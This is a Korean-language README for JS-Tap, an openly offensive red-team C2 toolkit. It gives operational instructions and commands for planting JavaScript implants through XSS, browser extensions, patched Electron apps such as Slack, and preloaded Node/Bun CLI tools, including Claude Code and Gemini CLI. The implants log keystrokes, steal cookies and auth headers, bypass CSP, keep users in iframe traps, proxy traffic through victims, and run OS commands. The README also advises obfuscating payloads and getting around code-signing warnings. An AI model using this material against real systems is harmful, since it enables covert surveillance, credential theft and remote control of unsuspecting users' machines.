
JavaScript beacons 및 C2로, 웹앱 서버나 데스크탑 소프트웨어에서 XSS payload 또는 post exploitation implants로 사용되어 사용자를 모니터링하고 지속성을 유지하기 위한 도구입니다. Browser extension, electron app, node/bun app implants가 포함됩니다.
주요 변경 사항은 프로젝트 공지사항에 문서화되어 있습니다:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
JS-Tap에 대한 원본 블로그 게시물은 여기에서 읽을 수 있습니다:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
ShmooCon에서 JS-Tap 버전 1의 짧은 데모:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
HackSpaceCon에서 JS-Tap 버전 2 데모 (C2 및 사후 침투 임플란트로 사용하는 방법 포함):
https://youtu.be/aWvNLJnqObQ?t=11719
자동 페이로드 생성기 데모 (가로챈 양식 제출과 JavaScript 네트워크 트래픽을 청사진으로 사용하여 맞춤 C2 페이로드 생성):
https://www.youtube.com/watch?v=cU915mxLfTo
CactusCon에서 v2 데모 (mimic 기능 포함):
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
v3 비콘 베타 코드 데모:
https://youtu.be/-esrfSHqZeo
데이터베이스 마이그레이션 스크립트를 계획하지 않으며, 버전 번호 변경 시 종종 데이터베이스 스키마 변경이 수반됩니다 (변경 로그 확인). 버전 업데이트 시 jsTap.db 데이터베이스를 삭제하는 것이 좋습니다. JS-Tap 서버에 사용자 정의 페이로드가 있는 경우 데이터베이스 파일을 삭제하기 전에 반드시 내보내십시오.
JS-Tap은 레드 팀을 위한 JavaScript 기반 공격 툴킷입니다. 이는 XSS 또는 사후 침투 임플란트를 통해 웹 애플리케이션을 공격하는 일반적인 JavaScript 페이로드로 시작되었으며, 단일 C2 서버에 보고하는 브라우저 확장 프로그램 및 Electron 데스크톱 앱 임플란트를 포함하도록 성장했습니다.
이 페이로드는 대상 사용자가 공격 대상 애플리케이션에 인증되어 있을 필요가 없으며, 애플리케이션에 JavaScript를 주입할 방법을 찾는 것 외에 사전 지식이 필요하지 않습니다.
JS-Tap 페이로드는 애플리케이션 서버 자체를 공격하는 대신 애플리케이션의 클라이언트 측에 초점을 맞추고 클라이언트 측 코드를 집중적으로 계측합니다. C2 시스템은 맞춤 JavaScript 페이로드를 추가하여 JS-Tap 클라이언트에서 작업으로 실행할 수 있게 하여, 애플리케이션 서버를 직접 공격하는 수단을 제공합니다. 서버 공격으로의 전환을 더 빠르게 하기 위해, JS-Tap은 이제 맞춤 페이로드를 자동으로 생성하여 C2 시스템에 전달하는 "mimic" 기능을 포함합니다.
예제 DOM 비콘 페이로드는 payloads 디렉토리의 telemlib.js 파일에 포함되어 있습니다. 그러나 이 디렉토리의 모든 파일은 인증 없이 제공되므로, 동시에 다른 애플리케이션을 대상으로 여러 페이로드를 다른 구성으로 제공할 수 있습니다.
telemlib.js 파일을 원하는 파일 이름으로 복사하고 필요에 따라 구성을 수정하십시오. 이 파일은 난독화되지 않았습니다. 실제 작전에 사용하기 전에 엔드포인트 이름을 변경하고, 주석을 제거하며, 페이로드를 강력하게 난독화하는 것을 적극 고려하십시오. 기본적으로 애플리케이션은 다소 명백한 API 엔드포인트(예: /loot/screenshot)를 사용합니다. App Settings에서 트래픽 난독화를 켤 수 있습니다.
공개적으로 노출된 서버에서 사용하기 전에 아래 구성 섹션을 주의 깊게 검토하십시오.
JS-Tap은 동일한 서버에 연결하는 5가지 비콘/에이전트 유형이 있습니다:
다섯 가지 유형 모두 동일한 JS-Tap 서버 포털에 보고하며, 여기서 전리품을 보고 C2 명령을 발행합니다.
포털에는 두 가지 세션 복제 도구도 포함되어 있습니다:
| 도구 | 기능 |
|---|---|
| 브라우저 프록시 | JS-Tap 서버에서 실행되는 MITM 프록시로, 운영자의 HTTP/HTTPS 트래픽을 WebSocket을 통해 피해자의 브라우저(Node.js 프로세스)로 라우팅합니다. 요청은 피해자의 네트워크 컨텍스트에서 가져오므로, 대상 사이트는 피해자의 IP와 TLS 지문을 보게 됩니다. 세션 티켓과 결합하여 피해자의 네트워크를 통한 인증 브라우징이 가능합니다. BEX, 아톰 및 V8 비콘에서 지원됩니다. 아래 브라우저 프록시를 참조하십시오. |
| JS-Tap Conductor |
독립형 DOM 비콘: DOM 비콘 페이로드(telemlib.js)는 독립적으로 작동합니다. XSS를 통해 주입하거나 대상 앱의 JS 파일에 임플란트합니다. 스스로 JS-Tap 서버에 연결합니다.
드로퍼로서의 BEX 비콘: BEX 비콘은 탐색을 모니터링하고 수동 정보 수집 (쿠키, localStorage, sessionStorage, 요청 헤더, 탐색)을 수행합니다. JS-Tap 포털에서 비콘에 명령하여 특정 도메인에 DOM 비콘을 주입할 수 있습니다. BEX 비콘에 의해 생성된 DOM 비콘은 확장 프로그램의 captureVisibleTab API를 통해 고품질 스크린샷을 얻습니다 ("BEX-Assist" 모드).
OS 접근을 위한 사이드카: 설치된 경우, 사이드카 바이너리는 BEX 비콘에 기본 운영 체제에 대한 접근 권한을 부여합니다. 명령은 JS-Tap 포털에서 전송되고, 비콘의 암호화된 채널을 통해 네이티브 바이너리로 중계되며, 결과는 다시 전송됩니다. 이는 브라우저 확장 프로그램을 파일 시스템 접근 및 명령 실행을 위한 거점으로 변화시킵니다.
실시간 브라우징을 위한 브라우저 프록시: 운영자는 브라우저를 JS-Tap 프록시로 구성하고 모든 HTTP/HTTPS 트래픽이 실시간으로 피해자의 브라우저를 통해 라우팅됩니다. 프록시는 MITM TLS 종료를 수행하고 (자동 생성된 CA 사용) 운영자가 HTTPS 사이트를 탐색할 수 있게 합니다. 프록시는 "멍청한 파이프" 역할을 합니다 — 운영자의 브라우저가 보내는 것을 그대로 전달합니다. 인증 브라우징을 위해 세션 티켓과 결합하십시오: JS-Tap Conductor가 피해자의 쿠키, 헤더 및 사용자 에이전트를 운영자의 브라우저에 주입하고, MITM 프록시가 이를 비콘에 전달하며, 비콘은 피해자의 네트워크에서 가져옵니다. 이는 운영자에게 피해자의 IP 주소에서 인증된 세션을 제공합니다. BEX, 아톰 및 V8 비콘 모두 프록시 모드를 지원합니다.
Electron 앱을 위한 아톰 비콘: atomize.py 패처는 Electron 앱의 ASAR 아카이브를 수정하여 아톰 비콘 에이전트를 주입합니다. 실행 시 에이전트는 JS-Tap 서버에 등록하고 암호화된 C2 통신을 시작하며, 앱이 생성하는 모든 BrowserWindow에 자동으로 렌더러 페이로드를 주입합니다. 메인 프로세스 에이전트는 네이티브 OS 접근 (파일 시스템, 명령 실행)을 제공하는 반면, 렌더러 페이로드는 DOM 수준 데이터 (키 입력, 입력, 양식, 쿠키, 스토리지, 네트워크 호출)를 수집합니다. Electron 메인 프로세스 내에서 전체 Node.js 접근 권한으로 실행되므로 별도의 사이드카 바이너리가 필요하지 않습니다 — 파일 탐색, 파일 읽기 및 셸 명령이 내장되어 있습니다.
CLI 도구를 위한 V8 비콘: V8 비콘은 Node.js 및 Bun 기반 CLI 애플리케이션을 대상으로 합니다. 환경 변수(NODE_OPTIONS 또는 BUN_OPTIONS)를 설정하면 비콘이 앱 자체 코드보다 먼저 로드됩니다 — 대상 앱의 패치나 수정이 필요하지 않습니다. http.request, https.request, fetch 및 를 몽키 패치하여 모든 네트워크 트래픽을 가로채고, 키 입력 캡처를 위해 을 후킹하며, C2 채널을 통해 파일 탐색 및 셸 실행을 제공합니다. 자식 프로세스를 생성하는 CLI 도구 (예: Gemini CLI는 대화형 세션을 위해 자식을 생성)는 자동으로 처리됩니다 — 자식은 부모의 세션 키를 상속하고 포털에서 동일한 논리적 클라이언트를 공유합니다. 런타임 간 서브프로세스 필터링은 Bun 앱의 Node.js 유틸리티 서브프로세스가 별도의 클라이언트로 등록되는 것을 방지합니다.
참고: XHR 및 Fetch API 호출 내용을 수신하는 기능은 트랩 모드에서 작동합니다. 임플란트 모드에서는 현재 Fetch API만 복사할 수 있습니다. 임플란트 모드에서는 양식 제출 가로채기가 때때로 누락될 수 있습니다.
browser.cookies.getAll()을 통해 httpOnly 포함, 메타데이터: httpOnly, secure, sameSite, path, domain, expiration)메인 프로세스 에이전트 (Node.js 런타임):
session.cookies API를 통한 모든 도메인의 모든 쿠키 (httpOnly 포함, 메타데이터 포함)webRequest.onBeforeSendHeaders를 통한 요청 헤더 (Authorization, x-api-key, Cookie, Set-Cookie)webRequest.onHeadersReceived를 통한 응답 헤더 (Set-Cookie, WWW-Authenticate, x-csrf-token, Location)desktopCapturer API를 통한 애플리케이션 창 스크린샷 (GPU 합성 출력 캡처)렌더러 페이로드 (모든 앱 창에 주입됨):
document.cookie에서, 변경 추적)process.stdin에서 키 입력 캡처 (읽을 수 있는 문자열로 버퍼링, 2초마다 또는 Enter 키 입력 시 플러시)DOM 비콘 페이로드에는 두 가지 작동 모드가 있습니다. trap 또는 implant 모드 여부는 initGlobals() 함수에서 설정되며, window.taperMode 변수를 찾으십시오.
트랩 모드는 일반적으로 XSS 페이로드로 사용하는 모드입니다. XSS 페이로드의 실행은 종종 일시적입니다. 악성 JavaScript 페이로드가 실행되는 페이지를 보는 사용자가 브라우저 탭을 닫거나 (페이지가 흥미롭지 않은 경우) 애플리케이션의 다른 곳으로 이동할 수 있습니다. 두 경우 모두 페이로드는 메모리에서 삭제되고 작동을 중지합니다. JS-Tap은 오랜 시간 실행되어야 유용한 데이터를 수집할 수 있습니다.
트랩 모드는 iFrame 트랩 기술을 사용하여 지속성을 설정하여 이 문제에 대처합니다. JS-Tap 페이로드는 전체 페이지 iFrame을 생성하고 사용자를 애플리케이션의 다른 곳에서 시작시킵니다. 이 시작 페이지는 사전에 구성해야 합니다. initGlobals() 함수에서 window.taperstartingPage 변수를 찾아 대상 애플리케이션의 적절한 시작 위치로 설정하십시오.
트랩 모드에서 JS-Tap은 iframe 트랩 내 사용자의 위치를 모니터링하고 브라우저의 주소 표시줄을 iframe의 위치와 일치하도록 스푸핑합니다.
참고: 대상 애플리케이션이 CSP 또는 X-Frame-Options 헤더를 설정하는 경우 동일 출처 또는 self로부터의 iFraming을 허용해야 합니다. JavaScript 기반 프레임버스터도 iFrame 트랩이 작동하지 못하게 할 수 있습니다.
참고, 저는 애플리케이션의 매우 특정한 위치에서 사후 침투 임플란트로 트랩 모드를 사용하거나, 애플리케이션의 인증된 섹션 내에서 어떤 리소스를 사용하는지 확실하지 않을 때 좋은 결과를 보았습니다. 로그인 페이지에 임플란트를 배치하고, 트랩 모드와 트랩 모드 시작 페이지를 window.location.href (즉, 현재 위치)로 설정할 수 있습니다. 사용자가 로그인 페이지를 방문하면 트랩이 설정되고, 사용자는 iframe 트랩 내에서 애플리케이션의 인증된 부분으로 계속 이동하기를 바랍니다.
사용자가 페이지를 새로 고치면 일반적으로 iframe 트랩이 깨지거나 탈출됩니다.
임플란트 모드는 일반적으로 페이로드를 대상 애플리케이션에 직접 추가하는 경우 사용됩니다. 애플리케이션의 JavaScript 파일을 호스팅하는 서버에 셸이 있을 수 있습니다. 애플리케이션 전반에 사용되는 JavaScript 파일(jQuery, main.js 등)에 페이로드를 추가하십시오. 이상적인 파일은 앱 자체와 JavaScript 파일 사용 방식에 따라 다릅니다. 임플란트 모드는 시작 페이지를 구성할 필요가 없으며 iFrame 트랩 기술을 사용하지 않습니다.
임플란트 모드에서 페이지를 새로 고치는 사용자는 일반적으로 JS-Tap 페이로드를 계속 실행합니다.
임플란트 모드는 추가적인 iframe 지속성 코드가 필요 없으므로 애플리케이션에서 작동할 가능성이 더 높습니다.
BEX 비콘은 JS-Tap의 브라우저 확장 프로그램 버전입니다. 두 가지 주요 목적이 있습니다:
BEX 비콘은 JS-Tap 서버와 애플리케이션 계층 암호화 통신(AES-GCM)을 사용합니다. 모든 원격 측정 및 작업 응답은 단일 엔드포인트를 통해 엔드투엔드 암호화되므로 네트워크 트래픽을 식별하기 어렵게 만듭니다.
비콘은 또한 JS-Tap 주입을 제한된 환경에서 용이하게 하기 위해 CSP/X-Frame-Options 헤더 제거(declarativeNetRequest 규칙을 통해)와 같은 기능을 포함합니다. <meta http-equiv="Content-Security-Policy"> 태그(HTML에 포함되어 있으므로 헤더 규칙으로 제거할 수 없음)를 사용하는 대상의 경우, BEX 비콘은 번들 주입 방식을 사용합니다 — telemlib.js가 확장 프로그램 내에 패키징되어 chrome.scripting.executeScript({ files })를 통해 주입되며, 이는 브라우저의 권한 있는 확장 프로그램 주입 메커니즘을 통해 페이지 수준 CSP를 완전히 우회합니다.
선택적 사이드카 네이티브 메시징 호스트와 결합하면, BEX 비콘은 대상 머신에서 OS 수준 접근 권한을 얻습니다. 아래 사이드카 섹션을 참조하십시오.
아톰 비콘은 Electron 데스크톱 애플리케이션을 위한 임플란트입니다. 이는 이중 계층 에이전트로 작동합니다 — 전체 Node.js 런타임 접근 권한을 가진 권한 있는 메인 프로세스 에이전트와 앱이 생성하는 모든 BrowserWindow에 자동으로 주입되는 렌더러 페이로드입니다.
BEX 비콘 + 사이드카 조합과 달리, 아톰 비콘은 OS 접근을 위해 별도의 네이티브 바이너리가 필요하지 않습니다 — 파일 시스템 작업, 명령 실행 및 스크린샷 캡처는 모두 Node.js API를 사용하여 메인 프로세스 에이전트에 내장되어 있습니다.
아톰 비콘은 BEX 비콘과 동일한 암호화 통신 프로토콜(AES-GCM 암호화, RSA-OAEP 키 교환, 단일 엔드포인트)을 사용합니다. 이는 별도의 클라이언트 유형(atom-beacon)으로 등록되며 DOM 비콘과 함께 Apps 보기에 나타납니다.Key capabilities:
webContents.executeJavaScript()를 통해 주입하며, 초기 실행 후 생성된 창도 포함합니다. Renderer 페이로드는 키 입력, 입력값, 폼, 쿠키, 스토리지, URL, HTML, XHR/Fetch 네트워크 호출을 캡처합니다.desktopCapturer API를 사용하여 창 스크린샷을 캡처합니다. 이 API는 GPU 합성 콘텐츠를 포함한 픽셀 완벽한 캡처를 생성합니다. 수동 캡처(포털 UI를 통해), 휴리스틱 자동 캡처(창 포커스, 탐색 및 새 창 시), 구성 가능한 쿨다운 기간을 지원합니다.webRequest.onBeforeSendHeaders를 통해 요청 헤더를, webRequest.onHeadersReceived를 통해 응답 헤더를 캡처합니다.session.cookies.get()을 통해 Electron 세션에서 모든 쿠키(httpOnly 포함)를 읽습니다.설정 및 사용법은 아래 Atom Beacon (Electron 앱 패치)를 참조하세요.
V8 Beacon은 Node.js 및 Bun 기반 명령줄 애플리케이션을 위한 임플란트입니다. 앱의 ASAR 아카이브 패치가 필요한 Atom Beacon과 달리, V8 Beacon은 환경 변수를 통해 주입되며 대상 애플리케이션을 수정할 필요가 없습니다.
지원되는 런타임:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (Gemini CLI 및 기타 Node.js 도구에서 테스트됨)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (Claude Code에서 테스트됨)비콘은 BEX 및 Atom Beacon과 동일한 암호화 통신 프로토콜(AES-GCM 암호화, 단일 엔드포인트, RSA-OAEP 키 교환)을 사용합니다. 클라이언트 유형 v8-beacon으로 등록되며 포털의 Nodes 보기에 표시됩니다.
주요 기능:
http.request, https.request, globalThis.fetch, http2.connect를 몽키패치하여 모든 발신 네트워크 호출을 요청/응답 본문, 헤더, 상태 코드와 함께 캡처합니다. SSE 스트리밍 응답(Anthropic의 Messages API, Google의 Gemini API와 같은 AI API에서 사용)은 응답 스트림을 티잉(teeing)하여 캡처합니다. Gzip 압축 응답은 자동으로 해제됩니다.process.stdin을 후킹하여 사용자 입력을 캡처합니다. 키 입력은 읽을 수 있는 문자열로 버퍼링되며 2초마다(또는 Enter 즉시) 플러시됩니다.설정 및 사용법은 아래 V8 Beacon (Node.js / Bun CLI Apps)를 참조하세요.
JS-Tap은 스크린샷 캡처를 위해 세 가지 별개의 방법을 사용합니다:
DOM Beacon 임플란트에서 기본적으로 사용됩니다. 페이지를 canvas 요소로 재구성하여 이미지로 내보내려고 시도합니다. 대부분의 사이트에서 잘 작동하지만 복잡한 최신 앱(예: Reddit)이나 교차 출처 이미지에서는 어려움을 겪을 수 있습니다.
DOM Beacon 임플란트가 BEX Beacon에 의해 생성되면, 확장 프로그램의 고급 브라우저 API에 접근할 수 있습니다. 이 모드에서 임플란트는 비콘에게 chrome.tabs.captureVisibleTab을 사용하여 스크린샷을 찍도록 요청합니다. 이로 인해 html2canvas의 모든 CSS/DOM 제한을 우회하는 픽셀 완벽한 고품질 캡처가 생성됩니다. 복잡한 대상에 권장되는 모드입니다.
Atom Beacon은 Electron의 desktopCapturer API를 사용하여 창 스크린샷을 캡처합니다. 이는 실제 GPU 합성 창 출력을 캡처하여 복잡한 Electron 앱(Slack, VS Code, Discord 등)의 픽셀 완벽한 스크린샷을 생성합니다. 스크린샷은 포털에서 수동으로 트리거하거나 구성 가능한 휴리스틱(창 포커스 변경, 탐색 이벤트, 새 창 생성)을 통해 자동으로 트리거할 수 있습니다.
python3가 필요합니다. jsTapServer에는 많은 수의 종속성이 필요하므로, 서버 소프트웨어의 라이브러리를 격리하기 위해 파이썬 가상 환경(또는 선호하는 격리 방법)을 사용하는 것이 매우 권장됩니다.
예시:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
서버는 시작할 때마다 무작위 관리자 비밀번호를 자동 생성하여 콘솔에 출력합니다. 자격 증명은 프로젝트 루트의 `adminCreds.txt`에도 저장됩니다. 개발/테스트 중에는 실행 사이에 `jsTap.db`를 삭제해도 안전합니다. 시작 시 자동으로 다시 생성됩니다.
### 빌드 (통합 빌드)
프로젝트 루트의 통합 빌드 스크립트는 모든 것을 처리합니다: Chrome 및 Firefox용 확장 프로그램 빌드, 배포용 패키징, 선택적으로 사이드카 바이너리 크로스 컴파일, 그리고 대상 시스템에 복사할 수 있는 자체 포함 배포 번들을 생성합니다.
#### 사전 요구사항
- **Node.js** (WXT 확장 빌드 및 .crx 패키징 용)
- **Go** (1.21+) — 사이드카가 활성화된 경우에만 필요
- **Python 3**
#### 빠른 시작
1. `bex-beacon/config.json` 설정 (아래 [설정](#bex-beacon-설정-configjson) 참조)
2. Node 종속성 설치 (처음 한 번만):```bash
cd bex-beacon && npm install && cd ..
이 도구는 Chrome MV3 및 Firefox MV2 확장 프로그램을 빌드하고, `.crx`/`.xpi`로 패키징하며, 사이드카 바이너리를 크로스 컴파일(활성화된 경우)하고, 배포 번들을 생성합니다. 빌드 스크립트는 각 빌드 시 `bex-beacon/config.json`에서 확장 프로그램의 패치 버전 번호를 자동으로 증가시킵니다(예: `2.1.5` → `2.1.6`). 이는 브라우저 강제 설치 메커니즘(Chrome/Edge 기업 정책)이 업데이트된 빌드를 선택하도록 보장합니다.
#### 빌드 플래그
| 플래그 | 효과 |
|---|---|
| `--ext-only` | 확장 프로그램만 빌드, 사이드카 제외 |
| `--sidecar-only` | 사이드카만 빌드, 확장 프로그램 제외 |
| `--legacy` | 레거시 확장 프로그램도 빌드 (`src-chrome-extension/` 및 `src-firefox-extension/`에서) |
#### 빌드 출력```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
프로덕션 환경에서는 Chrome 확장 프로그램 ID가 빌드 간에 결정적이 되도록 정적 키 쌍을 생성해야 합니다. 이는 sidecar의 네이티브 메시징 매니페스트에서 올바른 확장 프로그램을 허용 목록에 추가하는 데 필요합니다.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
base64 출력을 `extension_ids.chrome_key`에 추가하고 `bex-beacon/config.json`에서 `extension_ids.chrome_key_pem`을 `key.pem`으로 설정하세요. 빌드 스크립트가 자동으로 32자 Chrome 확장 프로그램 ID를 계산하고 확인합니다.
Firefox 확장 프로그램 ID는 `extension_ids.firefox_extension_id`를 통해 직접 설정됩니다 (예: `bex-beacon@jstap`).
### 대상에 배포하기
각 배포 번들은 **자체 포함 아카이브**입니다 — 대상 머신에 복사할 단일 파일입니다.
**워크플로:**
1. 적절한 아카이브를 대상에 복사합니다 (예: `chrome-linux.tar.gz`)
2. 압축을 해제합니다
3. 설치 스크립트를 실행합니다```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
설치 스크립트가 수행하는 작업:
사이드카가 활성화된 경우 설치 스크립트는 또한 사이드카 바이너리를 설치하고 해당 브라우저/OS별 위치에 네이티브 메시징 매니페스트를 작성합니다. 사이드카 설치는 사용자 수준에서 이루어지며(sudo 필요 없음).
Chrome/Chromium 설치 세부 사항 (Linux):
force_installed 모드의 ExtensionSettings)을 사용합니다./opt/jstap/에 저장됩니다./etc/chromium/policies/managed/(Chromium) 또는 /etc/opt/chrome/policies/managed/(Chrome)에 작성됩니다.Chrome/Chromium 설치 세부 사항 (macOS):
/Library/Application Support/JSTap/에 저장됩니다.각 배포 번들에는 설치 스크립트가 배포한 모든 것을 깔끔하게 제거하는 제거 스크립트(uninstall.sh 또는 uninstall.bat)가 포함되어 있습니다.```bash
./uninstall.sh
uninstall.bat
**제거 스크립트가 삭제하는 항목:**
| 구성 요소 | 제거되는 항목 |
|---|---|
| **Chrome/Chromium 확장 프로그램** (Linux) | 시스템 디렉토리에서 엔터프라이즈 정책 JSON + CRX + 업데이트 매니페스트 (sudo 필요) |
| **Chrome/Chromium 확장 프로그램** (macOS) | 시스템 디렉토리에서 외부 확장 프로그램 JSON + CRX (sudo 필요) |
| **Chrome 확장 프로그램** (Windows) | 레지스트리 항목 + `%LOCALAPPDATA%\JSTap`의 확장 프로그램 파일 |
| **Firefox 확장 프로그램** | Firefox 프로필의 `extensions/` 디렉토리에서 `.xpi` |
| **사이드카** (있는 경우) | `~/.local/bin/`의 바이너리, 네이티브 메시징 매니페스트 JSON 및 (Windows의) 레지스트리 항목 |
제거 후 변경 사항을 적용하려면 브라우저를 다시 시작하세요.
#### 개발용 사용
개발 및 테스트를 위해 배포 번들을 건너뛰고 확장 프로그램을 직접 로드할 수 있습니다.
- **Chrome:** `chrome://extensions` -> 개발자 모드 활성화 -> 압축 해제된 확장 프로그램 로드 -> `build/chrome-mv3/` 선택
- **Firefox:** `about:debugging` -> 이 Firefox -> 임시 부가 기능 로드 -> `build/firefox-mv2/` 내 파일 선택
### 사이드카 (네이티브 메시징 호스트)
사이드카는 **선택 사항**입니다. 브라우저의 네이티브 메시징 API를 통해 BEX Beacon과 통신하여 OS 수준 액세스(파일 탐색, 파일 읽기, 명령 실행)를 제공하는 Go 바이너리입니다.
#### 활성화 및 빌드
1. `bex-beacon/config.json`에서 `sidecar.enabled: true`로 설정
2. `extension_ids`에서 확장 프로그램 ID를 구성하세요 (위의 [정적 확장 프로그램 ID](#static-extension-ids) 참조)
3. 통합 빌드를 실행:```bash
python3 buildAll.py
빌드 스크립트는 자동으로 중앙 구성에서 확장 프로그램 ID를 sidecar/config.json에 동기화하고, 모든 플랫폼에 대해 sidecar 바이너리를 크로스 컴파일하며, 각 배포 번들에 올바른 바이너리를 포함합니다.
확장 프로그램을 다시 빌드하지 않고 sidecar만 다시 빌드해야 하는 경우:```bash python3 buildAll.py --sidecar-only
또는 직접 빌드하세요 (로컬 설정이 없으면 `../bex-beacon/config.json`을 읽도록 대체됩니다):```bash
cd sidecar
python3 buildSidecar.py
개발 중 테스트 반복을 위해, 사이드카 전용 제거 스크립트를 사용하여 바이너리와 모든 네이티브 메시징 매니페스트를 제거합니다:```bash ./sidecar/uninstall.sh
이 바이너리를 `~/.local/bin/`에서 제거하고, 모든 Chrome/Firefox 매니페스트 디렉토리(Linux 및 macOS)에서 매니페스트 JSON을 제거합니다.
배포된 시스템의 경우, 번들의 `uninstall.sh` 또는 `uninstall.bat`을 대신 사용하십시오 — 이는 확장 프로그램과 사이드카를 한 번에 제거합니다. 위의 [제거](#uninstalling)를 참조하십시오.
#### 사이드카 작동 방식```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
비콘과 사이드카 바이너리 간의 통신은 네이티브 메시징 프로토콜을 사용합니다. 각 메시지 앞에는 4바이트 리틀 엔디안 길이가 붙고, 그 다음에 JSON 페이로드가 옵니다.
사이드카 명령:
Atom 비콘 이식체는 atomize.py 패처를 사용하여 Electron 데스크톱 애플리케이션에 주입됩니다. 이 패처는 앱의 ASAR 아카이브(또는 압축 해제된 앱 디렉터리)를 수정하여 메인 프로세스 진입점 앞에 에이전트 코드를 추가합니다.
resources/app.asar 또는 resources/app/ 디렉터리Linux 및 macOS에서는 atomize.py를 Python 3로 직접 실행할 수 있습니다. Windows에는 Python이 설치되지 않았을 수 있습니다. PyInstaller를 사용하여 독립 실행형 atomize.exe를 빌드할 수 있습니다.```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
이것은 `dist/atomize.exe`를 생성합니다 — Python, ASAR 라이브러리, 그리고 페이로드 파일들을 번들링한 단일 파일 실행 파일입니다. 대상 Windows 머신에 Python 설치가 필요하지 않습니다. 사용법은 Python 버전과 동일합니다:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
참고: PyInstaller는 실행 중인 운영 체제용으로만 빌드할 수 있습니다. Windows
.exe를 빌드하려면 Windows 머신(또는 Windows VM/CI 러너)에서 PyInstaller를 실행하세요.
Windows pip 문제 해결:
Windows에서 pip가 인식되지 않지만 python이 작동한다면, 대신 python -m pip를 사용하세요:```
python -m pip install pyinstaller
설치 후 `pyinstaller`가 발견되지 않으면, `python -m PyInstaller`를 사용하세요 (대소문자 구분):```
python -m PyInstaller atomize.spec
pip 자체를 사용할 수 없는 경우, Python을 설치할 때 "Add Python to PATH" 확인란을 활성화했는지 확인하십시오. 수동으로 pip를 부트스트랩할 수도 있습니다:``` python -m ensurepip --upgrade
#### 대상 분석
패치하기 전에, `--detect-only`를 사용하여 대상 앱의 구조, 보안 설정, 코드 서명 상태를 분석하세요:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
이는 다음을 보고합니다:
package.json에서)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Options:
| 플래그 | 설명 |
|---|---|
| `--server URL` | JS-Tap 서버 URL (패치에 필요) |
| `--tag TAG` | 포털에 표시되는 클라이언트 태그 (기본값: `atom`) |
| `--detect-only` | 패치 없이 분석만 수행 |
| `--no-backup` | 원본 ASAR의 `.bak` 백업 생성 건너뛰기 |
| `--output PATH` | 패치된 ASAR를 현재 위치 대신 다른 경로에 저장 |
패처는 자동으로 다음을 수행합니다:
- macOS의 `.app` 번들 내 `app.asar` 또는 `app/`, Linux/Windows의 `resources/` 디렉터리 위치를 찾거나 직접 경로를 허용합니다
- 수정 전 `.bak` 백업을 생성합니다 (`--no-backup`이 없는 경우)
- 다시 패치하기 전에 기존 패치를 감지하고 제거합니다
- 충돌을 방지하기 위해 패치마다 고유한 IPC 접두사를 생성합니다
- 렌더러 페이로드를 에이전트 내부에 문자열 상수로 포함시킵니다 (단일 파일 주입)
#### 패치 후 참고 사항
| 플랫폼 | 참고 사항 |
|---|---|
| **macOS** | 코드 서명이 무효화됩니다. 앱이 "손상됨" 경고를 표시하면 `xattr -cr /path/to/App.app`를 실행하거나 `codesign --force --deep --sign - /path/to/App.app`로 다시 서명하십시오. |
| **Windows** | SmartScreen이 초기 다운로드 시 경고할 수 있지만, 이미 설치된 앱은 다시 확인되지 않습니다. 현재 위치 패치는 문제 없이 작동합니다. |
| **Linux** | 코드 서명 요구 사항이 없습니다. 패치된 앱은 정상적으로 실행됩니다. |
#### 패치 해제 (되돌리기)
패치된 앱을 되돌리려면 `.bak` 파일을 복원하십시오:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
에이전트는 BEX 비콘에서 사용하는 것과 동일한 암호화된 엔드포인트(`POST /client/metrics/<uuid>`)를 통해 서버와 통신합니다. 모든 데이터는 등록 중에 설정된 키로 AES-GCM 암호화됩니다.
#### 도구 패널 사용하기 (Atom 비콘)
